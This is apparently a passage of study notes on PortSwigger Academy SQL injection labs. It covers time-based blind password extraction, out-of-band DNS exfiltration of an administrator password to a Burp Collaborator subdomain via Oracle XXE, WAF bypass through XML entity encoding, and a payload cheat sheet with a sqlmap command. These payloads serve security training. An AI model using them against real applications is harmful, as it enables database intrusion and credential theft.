2. To be able to tell when the correct character was submitted, you'll need to monitor the time taken for the application to respond to each request. For this process to be as reliable as possible, you need to configure the Intruder attack to issue requests in a single thread. To do this, click the **Resource pool** tab to open the **Resource pool** side panel and add the attack to a resource pool with the **Maximum concurrent requests** set to 1.
3. Launch the attack by clicking the **Start attack** button.
4. Review the attack results to find the value of the character at the first position. You should see a column in the results called **Response received**. This will generally contain a small number, representing the number of milliseconds the application took to respond. One of the rows should have a larger number in this column, in the region of 10,000 milliseconds. The payload showing for that row is the value of the character at the first position.
5. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the main Burp window and change the specified offset from 1 to 2. You should then see the following as the cookie value:

***TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--***

1. Launch the modified attack, review the results, and note the character at the second offset.
2. Continue this process testing offset 3, 4, and so on, until you have the whole password.
3. In the browser, click **My account** to open the login page. Use the password to log in as the administrator user.
4. Blind SQL injection with out-of-band interaction

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

**Note**

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.

**🔑 Key Idea**

Since you can’t see results in the web app:

* You inject SQL that forces the DB to **fetch something from the internet**.
* That "something" is your **Burp Collaborator unique subdomain** (a controlled server that logs requests).
* If you see a DNS request from the database hitting your Collaborator, you’ve proven SQL injection.

 Solution

1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
2. Modify the TrackingId cookie, changing it to a payload that will trigger an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows:

***TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual—***

TrackingId=x'

UNION SELECT

EXTRACTVALUE(

xmltype('<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),

'/l'

)

FROM dual—

1. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated in the modified TrackingId cookie.

The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) to verify that your payload had indeed triggered a DNS lookup and potentially exploit this behavior to exfiltrate sensitive data from the application. We'll go over this technique in the next lab.

1. Blind SQL injection with out-of-band data exfiltration

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

**Note**

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.

**Hint**

You can find some useful payloads on our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Visit the front page of the shop, and use Burp Suite Professional to intercept and modify the request containing the TrackingId cookie.
2. Modify the TrackingId cookie, changing it to a payload that will leak the administrator's password in an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows:

***TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual—***

TrackingId=x'

UNION SELECT

EXTRACTVALUE(

xmltype(

'<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://' ||

(SELECT password FROM users WHERE username='administrator') ||

'.BURP-COLLABORATOR-SUBDOMAIN/">

%remote;

]>'

),

'/l'

)

FROM dual—

🧩 Step-by-step breakdown

1. x'  
   Closes the original query string, so you can inject your own SQL.
2. UNION SELECT ... FROM dual  
   Adds your malicious query. (dual is Oracle’s dummy table.)
3. EXTRACTVALUE(xmltype(...), '/l')  
   Forces the DB to parse XML content → that’s where the exploit is hidden.
4. <!ENTITY % remote SYSTEM "http://...">  
   Creates an external entity that points to your Burp Collaborator subdomain.  
   Normally, this would just cause a DNS lookup like in lab 16.
5. ||(SELECT password FROM users WHERE username='administrator')||  
   This is the exfiltration trick:
   * SELECT password FROM users WHERE username='administrator' pulls the password from the DB.
   * The || operators concatenate it into the URL.
   * Example result:
   * http://4t9s1dfgpassword123.BURP-COLLABORATOR-SUBDOMAIN/
6. When the DB resolves that URL…
   * It performs a DNS lookup (and possibly HTTP request).
   * Burp Collaborator logs this.
   * In the Collaborator tab, you’ll literally see the admin password embedded in the hostname.
7. --  
   Comments out the rest of the original SQL query to prevent errors.
8. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated in the modified TrackingId cookie.
9. Go to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side query is executed asynchronously.
10. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. The password of the administrator user should appear in the subdomain of the interaction, and you can view this within the Collaborator tab. For DNS interactions, the full domain name that was looked up is shown in the Description tab. For HTTP interactions, the full domain name is shown in the Host header in the Request to Collaborator tab.
11. In the browser, click "My account" to open the login page. Use the password to log in as the administrator user.
12. SQL injection with filter bypass via XML encoding

This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables.

The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user's credentials, then log in to their account.

**Hint**

A web application firewall (WAF) will block requests that contain obvious signs of a SQL injection attack. You'll need to find a way to obfuscate your malicious query to bypass this filter. We recommend using the [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) extension to do this.

 Solution

**Identify the vulnerability**

1. Observe that the stock check feature sends the productId and storeId to the application in XML format.
2. Send the POST /product/stock request to Burp Repeater.
3. In Burp Repeater, probe the storeId to see whether your input is evaluated. For example, try replacing the ID with mathematical expressions that evaluate to other potential IDs, for example:

***<storeId>1+1</storeId>***

1. Observe that your input appears to be evaluated by the application, returning the stock for different stores.
2. Try determining the number of columns returned by the original query by appending a UNION SELECT statement to the original store ID:

***<storeId>1 UNION SELECT NULL</storeId>***

1. Observe that your request has been blocked due to being flagged as a potential attack.

**Bypass the WAF**

1. As you're injecting into XML, try obfuscating your payload using XML entities. One way to do this is using the [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) extension. Just highlight your input, right-click, then select **Extensions > Hackvertor > Encode > dec\_entities/hex\_entities**.
2. Resend the request and notice that you now receive a normal response from the application. This suggests that you have successfully bypassed the WAF.

**Craft an exploit**

1. Pick up where you left off, and deduce that the query returns a single column. When you try to return more than one column, the application returns 0 units, implying an error.
2. As you can only return one column, you need to concatenate the returned usernames and passwords, for example:

***<storeId><@hex\_entities>1 UNION SELECT username || '~' || password FROM users</@hex\_entities></storeId>***

<storeId>

&#x31; &#x55;&#x4E;&#x49;&#x4F;&#x4E; &#x53;&#x45;&#x4C;&#x45;&#x43;&#x54; username || '~' || password FROM users

</storeId>

This returns:

administrator~supersecret

carlos~qwerty

1. Send this query and observe that you've successfully fetched the usernames and passwords from the database, separated by a ~ character.
2. Use the administrator's credentials to log in and solve the lab.

🔎 Identifying SQL Injection Points

**1. Inputs to Test**

* Query parameters (?id=1, ?user=admin)
* POST body fields (forms, JSON, XML)
* Headers (Cookie, User-Agent, X-Forwarded-For)
* Hidden fields / AJAX requests
* File upload metadata (filenames, EXIF)

**2. Basic Tests**

Try appending:

* ' or " → Check for syntax errors
* --, #, /\* → Comment out rest of query
* OR 1=1, AND 1=2 → Logic changes
* UNION SELECT NULL (various column counts)

👉 Look for: error messages, differences in response size/content, or status codes.

**3. Error-based Clues**

* **DB-specific error messages**
  + MySQL: You have an error in your SQL syntax
  + Oracle: ORA-01756
  + SQL Server: Unclosed quotation mark after the character string
* Even if error messages are hidden → subtle differences (page layout, response length) can still reveal issues.

**4. Boolean-based Testing**

* Send payloads that evaluate to TRUE vs FALSE:
  + id=1 AND 1=1 → page loads normally
  + id=1 AND 1=2 → different behavior

Check if responses differ (data missing, error, status code, timing).

**5. Time-based Testing**

If no visible differences:

* MySQL: SLEEP(5)
* Oracle: dbms\_pipe.receive\_message(('a'),5)
* SQL Server: WAITFOR DELAY '0:0:5'

If the page pauses, the query is injectable.

**6. Out-of-band Testing (OAST)**

* Use payloads that force DNS/HTTP requests to Burp Collaborator or Interactsh.
* Example (Oracle XML):
* ' UNION SELECT EXTRACTVALUE(xmltype('<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://abc123.oastify.com/">]>'),'/l') FROM dual--
* If you see traffic to your server, injection confirmed.

**🎯 Exploiting SQL Injection**

**1. Determine column count**

* ORDER BY 1, ORDER BY 2, etc. until error
* Or UNION SELECT NULL, NULL … until query succeeds.

**2. Identify text column(s)**

* Inject 'abc' into each column in turn
* See which values reflect back into the page.

**3. Enumerate the Database**

* **Find DB type/version**
  + MySQL: SELECT @@version
  + Oracle: SELECT banner FROM v$version
  + MSSQL: SELECT @@version
  + PostgreSQL: SELECT version()
* **List tables & columns**
  + MySQL: information\_schema.tables
  + Oracle: all\_tables, all\_tab\_columns
  + MSSQL: information\_schema.tables
* **Extract data**
  + UNION SELECT username, password FROM users
  + If only one column → use CONCAT(username, ':', password)

**4. Bypass WAF/Filters**

* Encoding tricks: URL encoding, UTF-16, XML entities, case mixing
* Obfuscation: UNIunionON SELselectECT
* Comments: UNION/\*\*/SELECT
* Whitespace tricks: Tabs, newlines

**5. Automation**

* **SQLMap**: Fast way to confirm/exploit injection:
* sqlmap -u "http://target.com/vuln.php?id=1" --cookie="SESSION=abc"
* It handles detection, enumeration, and dumping data.

**⚡ Quick Red Flags**

* Parameter values echoed back in page = good candidate.
* Different behavior when adding ' or --.
* Delays when injecting SLEEP.
* WAF block messages on obvious SQL keywords.

✅ In practice:

1. Start simple with ' + boolean checks.
2. Escalate → time-based or OAST if blind.
3. Once confirmed, find columns & enumerate DB.
4. Always adapt payloads to **DB flavor** (MySQL, Oracle, MSSQL, PostgreSQL).